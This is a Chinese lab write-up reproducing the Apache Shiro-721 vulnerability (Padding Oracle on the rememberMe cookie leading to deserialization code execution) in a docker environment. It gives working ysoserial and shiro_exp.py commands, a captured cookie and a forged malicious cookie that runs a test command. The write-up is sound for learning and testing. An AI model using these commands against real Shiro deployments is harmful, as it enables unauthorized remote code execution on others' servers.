shiro-721漏洞复现

简介

        Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

影响版本:Apache Shiro <= 1.4.1


环境搭建

docker pull vulfocus/shiro-721

docker run -d -p 8182:8080 vulfocus/shiro-721(这里映射在了8182端口上)

漏洞复现

访问192.168.121.131:8182

 点击登录,抓包:

 

登录 Shiro 测试账户获取 Cookie:

        输入错误的用户名和密码,http响应页面中会显示出deleteMe的cookie:

使用正确的用户名和密码登录,不会显示deleteMe的cookie

 使用正确的用户名密码登录,勾选RememberMe,进行抓包,放行登录请求包,

记录remember值:

aW/7+bN9rbNWTnQC44ijeOZlfN2SwBUay7+SGN8/5Zi6hVuPB+gy5ahBMRW9LthNlrDls65T4GDzed9PpHxZMNGL6ft+0x7kN2byR7VR1bKut+hM/010DHT6GBmqV4wI+e/viE2BbW1oLTR7Lfs85IUhBlRD4W9TlK3f2BvrVPZp5OU5bXAhi3ixpqOotDVKIPnE4W2/4BxG8oA+qEluufpfWploFIN6pUj/yG0AESDipKtBKScBLwbhdYWDQAUiOFwoWgUMNZnDRPiZLB0Ije/uPf+mTBobns7EJUrs5gUp6tTuqeWFL74h0FjXq+H2VlBjS/+KcfZ7x1Kjk6MsFPVdOKLA/k8gx3RuQI9pq3u0lgsEg/Bp40T8+jUulvwEaxVeZiLAlwd2BDsozxjyiB0keO0vQsBaEmnX+5rT0EAlIjPDC7J+hylv7ds+3EYf/gjKa+0zqxUHNIWYn/45gSKWmw2aiCsNl8I0d8rB5lHJeEhSd4zBVNkKSqcXsm0n

 使用Java反序列化工具 ysoserial 生成 Payload: 这里可以生成在目标靶机根目录中创建test的payload

java -jar ysoserial-master-2874a69f61-1.jar CommonsBeanutils1 "touch /usr/local/tomcat/test" > payload.class

http://ysoserial-master-2874a69f61-1.jar下载链接

 通过 Padding Oracle Attack生成 Evil Rememberme cookie:

shiro_rce_exp下载链接

下载后解压

cp payload.class  shiro_rce_exp-master
cd shiro_rce_exp-master 
python2 shiro_exp.py http://IP/account/  之前获取的RememberMe值   payload.class

这里使用python2启动

接下来就是漫长的等待 

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(如: ping 、 touch /tmp/test等),约 30多分钟可生成正确的 rememberme cookie,生成成功后将自动停止运行。

这里大概等了三十分钟

 

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

使用Evil Rememberme cookie 认证进行反序列化攻击:复制该cookie,然后重放一下数据,即可成功执行命令

将之前获取的rememberMe更改为刚才爆破出的结果,并放行

 

检查一下执行结果,可以看到成功创建了一个test文件

 

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值